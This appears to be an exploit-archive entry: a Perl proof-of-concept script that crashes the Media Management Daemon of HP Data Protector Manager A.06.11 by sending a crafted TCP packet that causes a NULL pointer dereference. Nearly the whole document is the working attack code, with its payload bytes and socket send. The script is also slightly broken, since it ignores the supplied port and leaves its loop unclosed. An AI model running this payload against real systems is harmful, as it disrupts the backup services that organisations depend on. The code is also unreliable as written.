HP Data Protector Manager A.06.11 Denial Of Service

`#!/usr/bin/perl  
  
# =================================  
# HP Data Protector Manager A.06.11  
# =================================  
#  
# Bug: NULL Pointer Dereference Remote Denial of Service Vulnerability  
#  
# Software: http://h71028.www7.hp.com/enterprise/w1/en/software/information-management-data-protector.html  
#  
# Date: 30/11/2010  
# Author: Pepelux - pepelux[AT]enye-sec[DOT]com  
# http://www.enye-sec.org - http://www.pepelux.org  
#  
# Service: mmd.exe (Media Management Daemon)  
# Vulnerable file: \Program Files\OmniBack\bin\MSVCR71.dll  
#  
# MSVCR71.dll:7c350428 mov ax,[edx] caused access violation  
# when attempting to read from 0x00000000  
#  
# Tested on Windows XP SP2  
  
use IO::Socket;  
  
my ($server, $port) = @ARGV ;  
  
unless($ARGV[0] || $ARGV[1]) {  
print "Usage: perl $0 <host> [port]\n";  
print "\tdefault port = 1026\n\n";  
exit 1;  
}  
  
$port = 1026 if ($ARGV[0]);  
  
my $buf = "\x00\x00\x00\x43\xfe\xff\x00\x32\x00\x36\x00\x37\x00\x00\x41\x41".  
"\x00\x31\x00\x00\x42\x42\x00\x31\x00\x00\x43\x43\x00\x31\x00\x00".  
"\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44".  
"\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44".  
"\xab\x7b\xde\x7c\x46\x4f\x4f";  
  
print "[+] Connecting to $server:$port ...\n";  
  
my $sock1 = new IO::Socket::INET (PeerAddr => $server, PeerPort => $port, Timeout => '10', Proto => 'tcp') or die("Server $server is not available.\n");  
  
while(1) {  
print "[+] Sending malicious packet ...\n";  
print $sock1 "$buf";  
print "\n[x] Server crashed!\n";   
exit;  
  
`